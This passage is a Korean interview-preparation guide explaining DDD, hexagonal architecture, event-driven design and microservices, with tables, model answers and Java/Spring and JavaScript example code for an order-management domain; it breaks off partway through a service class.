설계, 아키텍처, 보안 분야 면접 준비를 위한 포괄적인 가이드
DDD는 복잡한 소프트웨어의 핵심 복잡성을 해결하기 위한 설계 접근법으로, 도메인 전문가와 개발자가 협력하여 비즈니스 도메인을 중심으로 소프트웨어를 설계하는 방법론입니다.
| 구성요소 | 설명 | 역할 |
|---|---|---|
| Domain | 비즈니스 핵심 로직 | 비즈니스 규칙과 도메인 지식 |
| Entity | 고유 식별자를 가진 객체 | 도메인의 핵심 개념 표현 |
| Value Object | 값으로만 구분되는 객체 | 불변 객체, 속성으로만 식별 |
| Repository | 도메인 객체 저장소 | 데이터 접근 추상화 |
| Aggregate | 일관성 있는 단위 | 트랜잭션 경계 정의 |
| Bounded Context | 도메인 모델의 경계 | 컨텍스트별 모델 분리 |
┌─────────────────────────┐
│ Presentation Layer │ ← UI, Controllers
├─────────────────────────┤
│ Application Layer │ ← Use Cases, Services
├─────────────────────────┤
│ Domain Layer │ ← Entities, Value Objects
├─────────────────────────┤
│ Infrastructure Layer │ ← Database, External APIs
└─────────────────────────┘
"DDD는 비즈니스 도메인을 중심으로 소프트웨어를 설계하는 방법론입니다. Entity, Value Object, Repository 등의 핵심 구성요소로 도메인을 모델링하고, Bounded Context로 도메인 경계를 명확히 합니다. 복잡한 비즈니스 로직을 가진 대규모 시스템에서 도메인 전문가와 개발자 간의 소통을 개선하고 유지보수성을 높이는데 효과적입니다."
// Money Value Object - 불변 객체로 구현
public class Money {
private final BigDecimal amount;
private final Currency currency;
private Money(BigDecimal amount, Currency currency) {
if (amount == null || amount.compareTo(BigDecimal.ZERO) < 0) {
throw new IllegalArgumentException("Amount cannot be negative");
}
this.amount = amount;
this.currency = currency;
}
public static Money of(BigDecimal amount, Currency currency) {
return new Money(amount, currency);
}
public static Money won(long amount) {
return new Money(BigDecimal.valueOf(amount), Currency.getInstance("KRW"));
}
public Money add(Money other) {
if (!this.currency.equals(other.currency)) {
throw new IllegalArgumentException("Currency mismatch");
}
return new Money(this.amount.add(other.amount), this.currency);
}
public Money subtract(Money other) {
if (!this.currency.equals(other.currency)) {
throw new IllegalArgumentException("Currency mismatch");
}
return new Money(this.amount.subtract(other.amount), this.currency);
}
public boolean isLessThan(Money other) {
return this.amount.compareTo(other.amount) < 0;
}
@Override
public boolean equals(Object obj) {
if (this == obj) return true;
if (obj == null || getClass() != obj.getClass()) return false;
Money money = (Money) obj;
return Objects.equals(amount, money.amount) &&
Objects.equals(currency, money.currency);
}
@Override
public int hashCode() {
return Objects.hash(amount, currency);
}
}
// Order Entity - 고유 식별자를 가진 도메인 객체
@Entity
@Table(name = "orders")
public class Order {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@Column(name = "order_number", unique = true)
private String orderNumber;
@Embedded
private Money totalAmount;
@Enumerated(EnumType.STRING)
private OrderStatus status;
@ElementCollection
@CollectionTable(name = "order_items")
private List<OrderItem> orderItems = new ArrayList<>();
@Column(name = "customer_id")
private Long customerId;
@Column(name = "order_date")
private LocalDateTime orderDate;
// 기본 생성자 (JPA 요구사항)
protected Order() {}
// 팩토리 메서드
public static Order create(String orderNumber, Long customerId) {
Order order = new Order();
order.orderNumber = orderNumber;
order.customerId = customerId;
order.status = OrderStatus.PENDING;
order.orderDate = LocalDateTime.now();
order.totalAmount = Money.won(0);
return order;
}
// 도메인 메서드 - 주문 항목 추가
public void addOrderItem(String productName, Money price, int quantity) {
if (status != OrderStatus.PENDING) {
throw new IllegalStateException("Cannot modify order in status: " + status);
}
OrderItem item = new OrderItem(productName, price, quantity);
orderItems.add(item);
calculateTotalAmount();
}
// 도메인 메서드 - 주문 확정
public void confirm() {
if (orderItems.isEmpty()) {
throw new IllegalStateException("Cannot confirm order without items");
}
if (status != OrderStatus.PENDING) {
throw new IllegalStateException("Order is already confirmed or cancelled");
}
this.status = OrderStatus.CONFIRMED;
}
// 도메인 메서드 - 주문 취소
public void cancel() {
if (status == OrderStatus.SHIPPED || status == OrderStatus.DELIVERED) {
throw new IllegalStateException("Cannot cancel shipped or delivered order");
}
this.status = OrderStatus.CANCELLED;
}
// 비즈니스 로직 - 총액 계산
private void calculateTotalAmount() {
Money total = Money.won(0);
for (OrderItem item : orderItems) {
total = total.add(item.getSubtotal());
}
this.totalAmount = total;
}
// Getter 메서드들
public Long getId() { return id; }
public String getOrderNumber() { return orderNumber; }
public Money getTotalAmount() { return totalAmount; }
public OrderStatus getStatus() { return status; }
public List<OrderItem> getOrderItems() { return Collections.unmodifiableList(orderItems); }
}
// OrderItem Value Object
@Embeddable
public class OrderItem {
@Column(name = "product_name")
private String productName;
@Embedded
@AttributeOverrides({
@AttributeOverride(name = "amount", column = @Column(name = "price_amount")),
@AttributeOverride(name = "currency", column = @Column(name = "price_currency"))
})
private Money price;
@Column(name = "quantity")
private int quantity;
protected OrderItem() {} // JPA 요구사항
public OrderItem(String productName, Money price, int quantity) {
if (quantity <= 0) {
throw new IllegalArgumentException("Quantity must be positive");
}
this.productName = productName;
this.price = price;
this.quantity = quantity;
}
public Money getSubtotal() {
return price.multiply(quantity);
}
// Getter 메서드들
public String getProductName() { return productName; }
public Money getPrice() { return price; }
public int getQuantity() { return quantity; }
}
// Order Status Enum
public enum OrderStatus {
PENDING("대기"),
CONFIRMED("확정"),
SHIPPED("배송중"),
DELIVERED("배송완료"),
CANCELLED("취소");
private final String description;
OrderStatus(String description) {
this.description = description;
}
public String getDescription() { return description; }
}
// Repository Interface - 도메인 레이어에 위치
public interface OrderRepository {
Order save(Order order);
Optional<Order> findById(Long id);
Optional<Order> findByOrderNumber(String orderNumber);
List<Order> findByCustomerId(Long customerId);
List<Order> findByStatus(OrderStatus status);
void delete(Order order);
}
// Repository 구현체 - 인프라스트럭처 레이어에 위치
@Repository
@Transactional
public class JpaOrderRepository implements OrderRepository {
private final OrderJpaRepository jpaRepository;
public JpaOrderRepository(OrderJpaRepository jpaRepository) {
this.jpaRepository = jpaRepository;
}
@Override
public Order save(Order order) {
return jpaRepository.save(order);
}
@Override
public Optional<Order> findById(Long id) {
return jpaRepository.findById(id);
}
@Override
public Optional<Order> findByOrderNumber(String orderNumber) {
return jpaRepository.findByOrderNumber(orderNumber);
}
@Override
public List<Order> findByCustomerId(Long customerId) {
return jpaRepository.findByCustomerId(customerId);
}
@Override
public List<Order> findByStatus(OrderStatus status) {
return jpaRepository.findByStatus(status);
}
@Override
public void delete(Order order) {
jpaRepository.delete(order);
}
}
// Spring Data JPA Repository
interface OrderJpaRepository extends JpaRepository<Order, Long> {
Optional<Order> findByOrderNumber(String orderNumber);
List<Order> findByCustomerId(Long customerId);
List<Order> findByStatus(OrderStatus status);
}
// 도메인 서비스 - 여러 애그리게이트에 걸친 비즈니스 로직
@Service
@Transactional
public class OrderDomainService {
private final OrderRepository orderRepository;
private final InventoryService inventoryService;
public OrderDomainService(OrderRepository orderRepository,
InventoryService inventoryService) {
this.orderRepository = orderRepository;
this.inventoryService = inventoryService;
}
// 주문 생성 및 재고 확인
public Order createOrderWithInventoryCheck(String orderNumber, Long customerId,
List<OrderItemRequest> items) {
// 재고 확인
for (OrderItemRequest item : items) {
if (!inventoryService.isAvailable(item.getProductId(), item.getQuantity())) {
throw new InsufficientInventoryException(
"Insufficient inventory for product: " + item.getProductId());
}
}
// 주문 생성
Order order = Order.create(orderNumber, customerId);
// 주문 항목 추가
for (OrderItemRequest item : items) {
Money price = inventoryService.getPrice(item.getProductId());
order.addOrderItem(item.getProductName(), price, item.getQuantity());
}
// 재고 예약
for (OrderItemRequest item : items) {
inventoryService.reserve(item.getProductId(), item.getQuantity());
}
return orderRepository.save(order);
}
// 주문 확정 및 재고 차감
public void confirmOrderWithInventoryDeduction(Long orderId) {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
// 주문 확정
order.confirm();
// 재고에서 실제 차감
for (OrderItem item : order.getOrderItems()) {
inventoryService.deduct(item.getProductName(), item.getQuantity());
}
orderRepository.save(order);
}
}
// 재고 서비스 인터페이스 (다른 도메인)
public interface InventoryService {
boolean isAvailable(String productId, int quantity);
Money getPrice(String productId);
void reserve(String productId, int quantity);
void deduct(String productId, int quantity);
}
// 응용 서비스 - 도메인 서비스를 조합하여 유스케이스 구현
@Service
@Transactional
public class OrderApplicationService {
private final OrderDomainService orderDomainService;
private final OrderRepository orderRepository;
private final EventPublisher eventPublisher;
public OrderApplicationService(OrderDomainService orderDomainService,
OrderRepository orderRepository,
EventPublisher eventPublisher) {
this.orderDomainService = orderDomainService;
this.orderRepository = orderRepository;
this.eventPublisher = eventPublisher;
}
// 주문 생성 유스케이스
public OrderResponse createOrder(CreateOrderRequest request) {
try {
Order order = orderDomainService.createOrderWithInventoryCheck(
generateOrderNumber(),
request.getCustomerId(),
request.getItems()
);
// 도메인 이벤트 발행
eventPublisher.publish(new OrderCreatedEvent(order.getId(), order.getCustomerId()));
return OrderResponse.from(order);
} catch (InsufficientInventoryException e) {
throw new OrderCreationFailedException("Failed to create order: " + e.getMessage());
}
}
// 주문 확정 유스케이스
public void confirmOrder(Long orderId) {
orderDomainService.confirmOrderWithInventoryDeduction(orderId);
// 도메인 이벤트 발행
eventPublisher.publish(new OrderConfirmedEvent(orderId));
}
// 주문 조회 유스케이스
@Transactional(readOnly = true)
public OrderResponse getOrder(Long orderId) {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
return OrderResponse.from(order);
}
private String generateOrderNumber() {
return "ORD-" + System.currentTimeMillis();
}
}
// DTO 클래스들
public class CreateOrderRequest {
private Long customerId;
private List<OrderItemRequest> items;
// constructors, getters, setters
}
public class OrderItemRequest {
private String productId;
private String productName;
private int quantity;
// constructors, getters, setters
}
public class OrderResponse {
private Long id;
private String orderNumber;
private Money totalAmount;
private OrderStatus status;
private List<OrderItemResponse> items;
public static OrderResponse from(Order order) {
// Order 엔티티를 OrderResponse DTO로 변환
OrderResponse response = new OrderResponse();
response.id = order.getId();
response.orderNumber = order.getOrderNumber();
response.totalAmount = order.getTotalAmount();
response.status = order.getStatus();
response.items = order.getOrderItems().stream()
.map(OrderItemResponse::from)
.collect(Collectors.toList());
return response;
}
// getters, setters
}
헥사고날 아키텍처(Ports and Adapters)는 애플리케이션을 외부 의존성으로부터 격리시켜 테스트 가능하고 유연한 구조를 만드는 아키텍처 패턴입니다.
| 구성요소 | 설명 | 역할 |
|---|---|---|
| Core (Domain) | 비즈니스 로직 | 순수한 비즈니스 규칙 |
| Ports | 인터페이스 정의 | 외부와의 통신 규약 |
| Adapters | Port 구현체 | 외부 시스템과의 실제 연결 |
| Primary Adapter | 애플리케이션 구동 | UI, REST API, CLI |
| Secondary Adapter | 애플리케이션이 사용 | Database, Message Queue |
Primary Adapters
(Driving)
↓
┌─────────────────────┐
│ │
│ Application Core │ ← Pure Business Logic
│ (Domain Model) │
│ │
└─────────────────────┘
↓
Secondary Adapters
(Driven)
"헥사고날 아키텍처는 애플리케이션 코어를 외부 의존성으로부터 격리시키는 패턴입니다. Ports와 Adapters를 통해 외부와의 통신을 추상화하여, 비즈니스 로직을 순수하게 유지합니다. 이를 통해 테스트 용이성과 유연성을 확보하며, 외부 시스템 변경이 코어 로직에 미치는 영향을 최소화할 수 있습니다."
// Order 도메인 엔티티
public class Order {
private final OrderId id;
private final CustomerId customerId;
private final List<OrderItem> items;
private OrderStatus status;
private LocalDateTime createdAt;
public Order(OrderId id, CustomerId customerId, List<OrderItem> items) {
this.id = id;
this.customerId = customerId;
this.items = new ArrayList<>(items);
this.status = OrderStatus.PENDING;
this.createdAt = LocalDateTime.now();
}
// 도메인 비즈니스 로직
public void confirm() {
if (this.status != OrderStatus.PENDING) {
throw new IllegalStateException("Only pending orders can be confirmed");
}
this.status = OrderStatus.CONFIRMED;
}
public Money calculateTotal() {
return items.stream()
.map(OrderItem::getPrice)
.reduce(Money.ZERO, Money::add);
}
// Getters
public OrderId getId() { return id; }
public CustomerId getCustomerId() { return customerId; }
public List<OrderItem> getItems() { return Collections.unmodifiableList(items); }
public OrderStatus getStatus() { return status; }
}
// Value Objects
public class OrderId {
private final String value;
public OrderId(String value) {
if (value == null || value.trim().isEmpty()) {
throw new IllegalArgumentException("Order ID cannot be null or empty");
}
this.value = value;
}
public String getValue() { return value; }
@Override
public boolean equals(Object obj) {
if (this == obj) return true;
if (obj == null || getClass() != obj.getClass()) return false;
OrderId orderId = (OrderId) obj;
return Objects.equals(value, orderId.value);
}
@Override
public int hashCode() { return Objects.hash(value); }
}
public class Money {
public static final Money ZERO = new Money(BigDecimal.ZERO);
private final BigDecimal amount;
public Money(BigDecimal amount) {
this.amount = amount;
}
public Money add(Money other) {
return new Money(this.amount.add(other.amount));
}
public BigDecimal getAmount() { return amount; }
}
public enum OrderStatus {
PENDING, CONFIRMED, SHIPPED, DELIVERED, CANCELLED
}
// 주문 관리 유스케이스 인터페이스
public interface OrderService {
OrderId createOrder(CreateOrderCommand command);
void confirmOrder(OrderId orderId);
Order getOrder(OrderId orderId);
List<Order> getOrdersByCustomer(CustomerId customerId);
}
// 명령 객체
public class CreateOrderCommand {
private final CustomerId customerId;
private final List<OrderItemData> items;
public CreateOrderCommand(CustomerId customerId, List<OrderItemData> items) {
this.customerId = customerId;
this.items = items;
}
public CustomerId getCustomerId() { return customerId; }
public List<OrderItemData> getItems() { return items; }
}
// 주문 저장소 인터페이스
public interface OrderRepository {
void save(Order order);
Optional<Order> findById(OrderId orderId);
List<Order> findByCustomerId(CustomerId customerId);
void delete(OrderId orderId);
}
// 재고 확인 인터페이스
public interface InventoryService {
boolean isProductAvailable(ProductId productId, int quantity);
void reserveProducts(List<ProductReservation> reservations);
}
// 알림 서비스 인터페이스
public interface NotificationService {
void sendOrderConfirmation(Order order);
void sendShippingNotification(Order order);
}
@Service
@Transactional
public class OrderApplicationService implements OrderService {
private final OrderRepository orderRepository;
private final InventoryService inventoryService;
private final NotificationService notificationService;
public OrderApplicationService(OrderRepository orderRepository,
InventoryService inventoryService,
NotificationService notificationService) {
this.orderRepository = orderRepository;
this.inventoryService = inventoryService;
this.notificationService = notificationService;
}
@Override
public OrderId createOrder(CreateOrderCommand command) {
// 1. 재고 확인
List<ProductReservation> reservations = command.getItems().stream()
.map(item -> new ProductReservation(item.getProductId(), item.getQuantity()))
.collect(Collectors.toList());
for (ProductReservation reservation : reservations) {
if (!inventoryService.isProductAvailable(
reservation.getProductId(),
reservation.getQuantity())) {
throw new InsufficientInventoryException(
"Product not available: " + reservation.getProductId());
}
}
// 2. 주문 생성
OrderId orderId = new OrderId(UUID.randomUUID().toString());
List<OrderItem> orderItems = command.getItems().stream()
.map(item -> new OrderItem(
item.getProductId(),
item.getQuantity(),
item.getPrice()
))
.collect(Collectors.toList());
Order order = new Order(orderId, command.getCustomerId(), orderItems);
// 3. 재고 예약
inventoryService.reserveProducts(reservations);
// 4. 주문 저장
orderRepository.save(order);
return orderId;
}
@Override
public void confirmOrder(OrderId orderId) {
Order order = orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
order.confirm();
orderRepository.save(order);
// 알림 발송
notificationService.sendOrderConfirmation(order);
}
@Override
public Order getOrder(OrderId orderId) {
return orderRepository.findById(orderId)
.orElseThrow(() -> new OrderNotFoundException("Order not found: " + orderId));
}
@Override
public List<Order> getOrdersByCustomer(CustomerId customerId) {
return orderRepository.findByCustomerId(customerId);
}
}
// REST API Controller
@RestController
@RequestMapping("/api/orders")
@Validated
public class OrderController {
private final OrderService orderService;
public OrderController(OrderService orderService) {
this.orderService = orderService;
}
@PostMapping
public ResponseEntity<OrderResponse> createOrder(@Valid @RequestBody CreateOrderRequest request) {
CreateOrderCommand command = new CreateOrderCommand(
new CustomerId(request.getCustomerId()),
request.getItems().stream()
.map(item -> new OrderItemData(
new ProductId(item.getProductId()),
item.getQuantity(),
new Money(item.getPrice())
))
.collect(Collectors.toList())
);
OrderId orderId = orderService.createOrder(command);
return ResponseEntity.status(HttpStatus.CREATED)
.body(new OrderResponse(orderId.getValue(), "Order created successfully"));
}
@PostMapping("/{orderId}/confirm")
public ResponseEntity<Void> confirmOrder(@PathVariable String orderId) {
orderService.confirmOrder(new OrderId(orderId));
return ResponseEntity.ok().build();
}
@GetMapping("/{orderId}")
public ResponseEntity<OrderDetailResponse> getOrder(@PathVariable String orderId) {
Order order = orderService.getOrder(new OrderId(orderId));
return ResponseEntity.ok(OrderDetailResponse.from(order));
}
@GetMapping
public ResponseEntity<List<OrderSummaryResponse>> getCustomerOrders(@RequestParam String customerId) {
List<Order> orders = orderService.getOrdersByCustomer(new CustomerId(customerId));
List<OrderSummaryResponse> response = orders.stream()
.map(OrderSummaryResponse::from)
.collect(Collectors.toList());
return ResponseEntity.ok(response);
}
}
// JPA Repository Adapter
@Repository
@Transactional
public class JpaOrderRepository implements OrderRepository {
private final OrderJpaRepository jpaRepository;
private final OrderMapper orderMapper;
public JpaOrderRepository(OrderJpaRepository jpaRepository, OrderMapper orderMapper) {
this.jpaRepository = jpaRepository;
this.orderMapper = orderMapper;
}
@Override
public void save(Order order) {
OrderEntity entity = orderMapper.toEntity(order);
jpaRepository.save(entity);
}
@Override
public Optional<Order> findById(OrderId orderId) {
return jpaRepository.findById(orderId.getValue())
.map(orderMapper::toDomain);
}
@Override
public List<Order> findByCustomerId(CustomerId customerId) {
return jpaRepository.findByCustomerId(customerId.getValue())
.stream()
.map(orderMapper::toDomain)
.collect(Collectors.toList());
}
@Override
public void delete(OrderId orderId) {
jpaRepository.deleteById(orderId.getValue());
}
}
// HTTP Inventory Service Adapter
@Service
public class HttpInventoryServiceAdapter implements InventoryService {
private final WebClient webClient;
private final String inventoryServiceUrl;
public HttpInventoryServiceAdapter(WebClient.Builder webClientBuilder,
@Value("${inventory.service.url}") String inventoryServiceUrl) {
this.webClient = webClientBuilder.build();
this.inventoryServiceUrl = inventoryServiceUrl;
}
@Override
public boolean isProductAvailable(ProductId productId, int quantity) {
try {
InventoryCheckResponse response = webClient
.get()
.uri(inventoryServiceUrl + "/products/{productId}/availability", productId.getValue())
.retrieve()
.bodyToMono(InventoryCheckResponse.class)
.block(Duration.ofSeconds(5));
return response != null && response.getAvailableQuantity() >= quantity;
} catch (Exception e) {
// 외부 서비스 장애 시 기본 처리
throw new InventoryServiceException("Failed to check inventory: " + e.getMessage(), e);
}
}
@Override
public void reserveProducts(List<ProductReservation> reservations) {
ReserveProductsRequest request = new ReserveProductsRequest(reservations);
try {
webClient
.post()
.uri(inventoryServiceUrl + "/reservations")
.bodyValue(request)
.retrieve()
.bodyToMono(Void.class)
.block(Duration.ofSeconds(10));
} catch (Exception e) {
throw new InventoryServiceException("Failed to reserve products: " + e.getMessage(), e);
}
}
}
// Email Notification Adapter
@Service
public class EmailNotificationAdapter implements NotificationService {
private final JavaMailSender mailSender;
private final TemplateEngine templateEngine;
public EmailNotificationAdapter(JavaMailSender mailSender, TemplateEngine templateEngine) {
this.mailSender = mailSender;
this.templateEngine = templateEngine;
}
@Override
@Async
public void sendOrderConfirmation(Order order) {
try {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper helper = new MimeMessageHelper(message, true);
Context context = new Context();
context.setVariable("order", order);
String htmlContent = templateEngine.process("order-confirmation", context);
helper.setTo(getCustomerEmail(order.getCustomerId()));
helper.setSubject("주문 확인 - " + order.getId().getValue());
helper.setText(htmlContent, true);
mailSender.send(message);
} catch (Exception e) {
// 로깅하고 실패를 무시 (알림은 핵심 기능이 아니므로)
log.error("Failed to send order confirmation email", e);
}
}
@Override
@Async
public void sendShippingNotification(Order order) {
// 배송 알림 구현
}
private String getCustomerEmail(CustomerId customerId) {
// 고객 이메일 조회 로직
return "customer@example.com";
}
}
@Configuration
@EnableJpaRepositories
public class OrderConfiguration {
@Bean
public OrderService orderService(OrderRepository orderRepository,
InventoryService inventoryService,
NotificationService notificationService) {
return new OrderApplicationService(orderRepository, inventoryService, notificationService);
}
@Bean
public OrderRepository orderRepository(OrderJpaRepository jpaRepository, OrderMapper orderMapper) {
return new JpaOrderRepository(jpaRepository, orderMapper);
}
@Bean
public InventoryService inventoryService(WebClient.Builder webClientBuilder,
@Value("${inventory.service.url}") String inventoryServiceUrl) {
return new HttpInventoryServiceAdapter(webClientBuilder, inventoryServiceUrl);
}
@Bean
public NotificationService notificationService(JavaMailSender mailSender, TemplateEngine templateEngine) {
return new EmailNotificationAdapter(mailSender, templateEngine);
}
@Bean
public WebClient.Builder webClientBuilder() {
return WebClient.builder()
.codecs(configurer -> configurer.defaultCodecs().maxInMemorySize(1024 * 1024))
.build()
.mutate();
}
}
// 단위 테스트 - Core 로직만 테스트
@ExtendWith(MockitoExtension.class)
class OrderApplicationServiceTest {
@Mock
private OrderRepository orderRepository;
@Mock
private InventoryService inventoryService;
@Mock
private NotificationService notificationService;
@InjectMocks
private OrderApplicationService orderService;
@Test
void should_create_order_when_inventory_is_available() {
// Given
CustomerId customerId = new CustomerId("customer-123");
List<OrderItemData> items = Arrays.asList(
new OrderItemData(new ProductId("product-1"), 2, new Money(BigDecimal.valueOf(100)))
);
CreateOrderCommand command = new CreateOrderCommand(customerId, items);
when(inventoryService.isProductAvailable(any(ProductId.class), anyInt())).thenReturn(true);
// When
OrderId result = orderService.createOrder(command);
// Then
assertThat(result).isNotNull();
verify(inventoryService).reserveProducts(any());
verify(orderRepository).save(any(Order.class));
}
@Test
void should_throw_exception_when_inventory_is_insufficient() {
// Given
CustomerId customerId = new CustomerId("customer-123");
List<OrderItemData> items = Arrays.asList(
new OrderItemData(new ProductId("product-1"), 10, new Money(BigDecimal.valueOf(100)))
);
CreateOrderCommand command = new CreateOrderCommand(customerId, items);
when(inventoryService.isProductAvailable(any(ProductId.class), anyInt())).thenReturn(false);
// When & Then
assertThatThrownBy(() -> orderService.createOrder(command))
.isInstanceOf(InsufficientInventoryException.class);
verify(inventoryService, never()).reserveProducts(any());
verify(orderRepository, never()).save(any());
}
}
// 통합 테스트 - 실제 어댑터 포함
@SpringBootTest
@Testcontainers
class OrderIntegrationTest {
@Container
static PostgreSQLContainer<?> postgres = new PostgreSQLContainer<>("postgres:13")
.withDatabaseName("testdb")
.withUsername("test")
.withPassword("test");
@Autowired
private OrderService orderService;
@MockBean
private InventoryService inventoryService;
@MockBean
private NotificationService notificationService;
@Test
void should_create_and_retrieve_order() {
// Given
when(inventoryService.isProductAvailable(any(), anyInt())).thenReturn(true);
CustomerId customerId = new CustomerId("customer-123");
List<OrderItemData> items = Arrays.asList(
new OrderItemData(new ProductId("product-1"), 1, new Money(BigDecimal.valueOf(50)))
);
CreateOrderCommand command = new CreateOrderCommand(customerId, items);
// When
OrderId orderId = orderService.createOrder(command);
Order retrievedOrder = orderService.getOrder(orderId);
// Then
assertThat(retrievedOrder.getId()).isEqualTo(orderId);
assertThat(retrievedOrder.getCustomerId()).isEqualTo(customerId);
assertThat(retrievedOrder.getItems()).hasSize(1);
assertThat(retrievedOrder.getStatus()).isEqualTo(OrderStatus.PENDING);
}
}
Event Driven Design은 이벤트의 생성, 감지, 소비를 중심으로 하는 아키텍처 패턴으로, 시스템 간의 느슨한 결합을 통해 확장성과 유연성을 제공하는 설계 방법입니다.
| 구성요소 | 설명 | 역할 |
|---|---|---|
| Event | 시스템에서 발생한 사실 | 상태 변화나 중요한 사건 |
| Event Producer | 이벤트 생성자 | 이벤트를 발생시키는 컴포넌트 |
| Event Consumer | 이벤트 소비자 | 이벤트를 처리하는 컴포넌트 |
| Event Bus/Broker | 이벤트 중개자 | 이벤트 라우팅 및 전달 |
| Event Store | 이벤트 저장소 | 이벤트 히스토리 관리 |
Command → Aggregate → Events → Event Store
↓
Read Models (Projections)
Commands → Write Model → Events
↓
Read Models ← Queries
| 방식 | 설명 | 장점 | 단점 |
|---|---|---|---|
| 동기 처리 | 즉시 이벤트 처리 | 일관성 보장 | 성능 영향 |
| 비동기 처리 | 큐를 통한 지연 처리 | 높은 성능 | 복잡한 에러 처리 |
| 배치 처리 | 일괄 이벤트 처리 | 효율적 자원 사용 | 실시간성 부족 |
// Event Definition
class OrderCreatedEvent {
constructor(orderId, customerId, amount) {
this.type = 'OrderCreated';
this.orderId = orderId;
this.customerId = customerId;
this.amount = amount;
this.timestamp = new Date();
}
}
// Event Producer
class OrderService {
createOrder(orderData) {
const order = new Order(orderData);
const event = new OrderCreatedEvent(
order.id,
order.customerId,
order.amount
);
eventBus.publish(event);
return order;
}
}
// Event Consumer
class InventoryService {
handleOrderCreated(event) {
this.reserveItems(event.orderId);
}
}
// Event Bus 등록
eventBus.subscribe('OrderCreated', inventoryService.handleOrderCreated);
"Event Driven Design은 이벤트의 발생과 처리를 중심으로 하는 아키텍처입니다. Producer가 이벤트를 발생시키면 Consumer가 비동기적으로 처리하여 느슨한 결합을 달성합니다. Event Sourcing과 CQRS 패턴을 통해 확장성과 복원력을 제공하지만, Eventual Consistency와 복잡한 이벤트 관리가 단점입니다."
MSA는 하나의 큰 애플리케이션을 여러 개의 작고 독립적인 서비스로 분해하여 개발, 배포, 확장하는 아키텍처 스타일입니다.
| 구분 | Monolith | Microservices |
|---|---|---|
| 구조 | 단일 배포 단위 | 독립적인 서비스들 |
| 개발 | 단일 기술 스택 | 다양한 기술 스택 |
| 배포 | 전체 재배포 | 개별 서비스 배포 |
| 확장 | 수직 확장 | 수평 확장 |
| 장애 | 전체 시스템 영향 | 서비스별 격리 |
| 구성요소 | 설명 | 구현 기술 |
|---|---|---|
| API Gateway | 외부 요청 라우팅 | Kong, Zuul, AWS API Gateway |
| Service Discovery | 서비스 위치 관리 | Eureka, Consul, etcd |
| Circuit Breaker | 장애 전파 방지 | Hystrix, Resilience4j |
| Load Balancer | 트래픽 분산 | Nginx, HAProxy, AWS ALB |
| Message Broker | 비동기 통신 | Kafka, RabbitMQ, Redis |
| Container Orchestration | 배포 관리 | Kubernetes, Docker Swarm |
// REST API 호출
const userService = {
async getUser(userId) {
const response = await fetch(`http://user-service/users/${userId}`);
return response.json();
}
};
// GraphQL
const query = `
query GetUser($id: ID!) {
user(id: $id) {
name
email
orders {
id
amount
}
}
}
`;
// Event Publishing
const eventBus = require('./eventBus');
class OrderService {
async createOrder(orderData) {
const order = await this.repository.save(orderData);
// 이벤트 발행
await eventBus.publish('order.created', {
orderId: order.id,
customerId: order.customerId,
amount: order.amount
});
return order;
}
}
// Event Consuming
eventBus.subscribe('order.created', async (event) => {
await inventoryService.reserveItems(event.orderId);
await paymentService.processPayment(event);
});
User Domain → User Service
Order Domain → Order Service
Payment Domain → Payment Service
Inventory Domain → Inventory Service
고객 관리 → Customer Service
주문 처리 → Order Service
결제 처리 → Payment Service
재고 관리 → Inventory Service
| 패턴 | 목적 | 구현 방법 |
|---|---|---|
| Saga Pattern | 분산 트랜잭션 관리 | Choreography, Orchestration |
| CQRS | 읽기/쓰기 분리 | 별도 데이터 모델 |
| Event Sourcing | 상태 변화 추적 | 이벤트 저장소 |
| Bulkhead | 격리를 통한 안정성 | 자원 분리 |
"MSA는 애플리케이션을 독립적인 작은 서비스들로 분해하는 아키텍처입니다. 각 서비스는 단일 책임을 가지며 독립적인 데이터베이스를 소유합니다. API Gateway, Service Discovery, Circuit Breaker 등의 패턴을 통해 서비스 간 통신을 관리하며, 확장성과 기술 다양성의 장점이 있지만 분산 시스템의 복잡성과 운영 오버헤드가 단점입니다."
@SpringBootApplication
@EnableDiscoveryClient
public class ApiGatewayApplication {
public static void main(String[] args) {
SpringApplication.run(ApiGatewayApplication.class, args);
}
}
// Gateway 설정
@Configuration
public class GatewayConfig {
@Bean
public RouteLocator customRouteLocator(RouteLocatorBuilder builder) {
return builder.routes()
// 사용자 서비스 라우팅
.route("user-service", r -> r.path("/api/users/**")
.filters(f -> f
.stripPrefix(1)
.circuitBreaker(config -> config
.setName("user-service-cb")
.setFallbackUri("forward:/fallback/users")))
.uri("lb://user-service"))
// 주문 서비스 라우팅
.route("order-service", r -> r.path("/api/orders/**")
.filters(f -> f
.stripPrefix(1)
.circuitBreaker(config -> config
.setName("order-service-cb")
.setFallbackUri("forward:/fallback/orders")))
.uri("lb://order-service"))
// 결제 서비스 라우팅
.route("payment-service", r -> r.path("/api/payments/**")
.filters(f -> f
.stripPrefix(1)
.addRequestHeader("X-Service", "payment"))
.uri("lb://payment-service"))
.build();
}
}
// Gateway Filter
@Component
public class GlobalFilter implements org.springframework.cloud.gateway.filter.GlobalFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
ServerHttpRequest request = exchange.getRequest();
// 요청 로깅
System.out.println("Request Path: " + request.getPath());
System.out.println("Request Method: " + request.getMethod());
// 인증 헤더 체크
if (!request.getHeaders().containsKey("Authorization")) {
ServerHttpResponse response = exchange.getResponse();
response.setStatusCode(HttpStatus.UNAUTHORIZED);
return response.setComplete();
}
return chain.filter(exchange);
}
}
// Fallback Controller
@RestController
public class FallbackController {
@RequestMapping("/fallback/users")
public ResponseEntity<String> userFallback() {
return ResponseEntity.ok("User service is temporarily unavailable");
}
@RequestMapping("/fallback/orders")
public ResponseEntity<String> orderFallback() {
return ResponseEntity.ok("Order service is temporarily unavailable");
}
}
@SpringBootApplication
@EnableEurekaServer
public class ServiceRegistryApplication {
public static void main(String[] args) {
SpringApplication.run(ServiceRegistryApplication.class, args);
}
}
// application.yml
server:
port: 8761
eureka:
instance:
hostname: localhost
client:
register-with-eureka: false
fetch-registry: false
service-url:
defaultZone: http://${eureka.instance.hostname}:${server.port}/eureka/
server:
enable-self-preservation: false
eviction-interval-timer-in-ms: 10000
@SpringBootApplication
@EnableEurekaClient
@EnableJpaRepositories
public class UserServiceApplication {
public static void main(String[] args) {
SpringApplication.run(UserServiceApplication.class, args);
}
